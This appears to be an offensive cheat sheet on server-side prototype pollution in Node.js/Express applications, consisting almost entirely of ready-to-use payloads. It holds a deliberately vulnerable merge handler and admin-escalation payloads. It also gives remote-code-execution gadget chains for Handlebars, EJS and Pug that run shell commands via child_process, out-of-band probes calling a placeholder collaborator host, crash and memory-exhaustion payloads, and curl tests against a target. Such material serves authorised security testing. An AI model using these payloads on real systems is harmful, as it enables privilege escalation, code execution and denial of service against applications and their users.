// Vulnerable server-side code (Node.js/Express):
app.post('/settings', (req, res) => {
  const userConfig = {};
  _.merge(userConfig, req.body);  // ← user-controlled data merged
  // If req.body = {"__proto__": {"isAdmin": true}}
  // → Object.prototype.isAdmin = true
  // → Every object in this Node process inherits isAdmin: true
  if (config.isAdmin) {  // always true now
    grantAdmin();
  }
});

// If app checks req.user.isAdmin or similar property:
{"__proto__": {"isAdmin": true}}
{"__proto__": {"admin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"authorized": true}}
{"__proto__": {"authenticated": true}}
{"__proto__": {"permissions": ["admin", "read", "write"]}}
{"__proto__": {"access_level": 9999}}

// Nested pollution:
{"settings": {"__proto__": {"isAdmin": true}}}

// Constructor path:
{"constructor": {"prototype": {"isAdmin": true}}}

// Via URL-encoded body:
__proto__[isAdmin]=true
__proto__[role]=admin
constructor[prototype][isAdmin]=true

# Handlebars has a known gadget chain for prototype pollution → RCE:
# Pollution payload (JSON body):
{
  "__proto__": {
    "pendingContent": "{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').execSync('id').toString();\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{/with}}\n        {{/each}}\n      {{/with}}\n    {{/with}}\n  {{/with}}\n{{/with}}"
  }
}

# Simpler Handlebars RCE gadget (check version-specific PoCs):
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "SubExpression", "path": {"type": "PathExpression", "original": "constructor", "parts": ["constructor"]}, "params": [{"type": "StringLiteral", "value": "return process.mainModule.require('child_process').execSync('id').toString()"}]}}]}}

# If app calls spawn/fork with options that include env from a merged config:
# Polluting NODE_OPTIONS or shell-related env vars:
{"__proto__": {"NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}

# Polluting `shell` option:
{"__proto__": {"shell": "node"}}

# Polluting `argv0` to change process name:
{"__proto__": {"argv0": "node"}}

# If app uses execFile with a merged options object:
# Pollution makes options.shell = true → command injection via filename
{"__proto__": {"shell": true}}
# Then filename becomes: "ls; id" → shell executes "id"

# EJS < 3.1.7 prototype pollution → RCE via outputFunctionName gadget:
{
  "__proto__": {
    "outputFunctionName": "a=1;process.mainModule.require('child_process').execSync('id > /tmp/pwned');s"
  }
}

# Or via delimiter:
{
  "__proto__": {
    "delimiter": "a",
    "openDelimiter": "1;require('child_process').execSync('id');//",
    "closeDelimiter": ";"
  }
}

# Pug prototype pollution gadget:
{
  "__proto__": {
    "compileDebug": true,
    "self": true,
    "line": "require('child_process').execSync('id')"
  }
}

# When no visible output — use OOB to confirm pollution:
{
  "__proto__": {
    "NODE_OPTIONS": "--require /proc/self/fd/0",
    "env": {
      "EVIL": "require('http').get('http://COLLABORATOR_ID.oast.pro/confirm')"
    }
  }
}

# DNS exfil via shell injection in spawn:
{
  "__proto__": {
    "shell": "/bin/bash",
    "argv0": "bash",
    "env": {"CMD": "nslookup COLLABORATOR_ID.oast.pro"}
  }
}

# Timing-based (if server process hangs when certain props polluted):
{"__proto__": {"toString": null}}  # crash
{"__proto__": {"valueOf": null}}   # crash

# Pollute toString/valueOf → crash any code that calls it:
{"__proto__": {"toString": 1}}       # TypeError: toString is not a function
{"__proto__": {"constructor": 1}}    # Kills Object.constructor chain
{"__proto__": {"hasOwnProperty": 1}} # Breaks for...in loops

# Infinite loop via __defineGetter__:
{"__proto__": {"a": {"get": "b"}}}

# Memory exhaustion via polluting length:
{"__proto__": {"length": 999999999}}

# server-side-prototype-pollution-gadgets — Gareth Heyes research:
# Reference: https://portswigger.net/research/server-side-prototype-pollution

# ppfuzz — server and client side:
git clone https://github.com/dwisiswant0/ppfuzz
ppfuzz -l urls.txt --server

# Burp Suite:
# - Send all JSON POSTs to Repeater
# - Add __proto__ key manually, check for behavior changes
# - Param Miner → Guess JSON params (includes __proto__ detection)

# DOM Invader (Burp) also does server-side detection on reflected responses

# Manual Node.js gadget check — if you have source access:
grep -rn "merge\|defaultsDeep\|_.set\|deepMerge\|clone\|assign" \
  --include="*.js" node_modules/

# Check lodash version:
cat node_modules/lodash/package.json | grep '"version"'
# Vulnerable: < 4.17.21

# Check qs version:
cat node_modules/qs/package.json | grep '"version"'
# Vulnerable: < 6.7.3

# Test server-side pollution via response observation:
# Send: {"__proto__": {"test123": "polluted"}}
# Then send any GET request → does {} have test123 in response?
curl -X POST https://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"x_polluted": "yes"}}' \
  -H "Authorization: Bearer TOKEN"

# Then check if reflected anywhere:
curl https://target.com/api/config \
  -H "Authorization: Bearer TOKEN" | grep "x_polluted"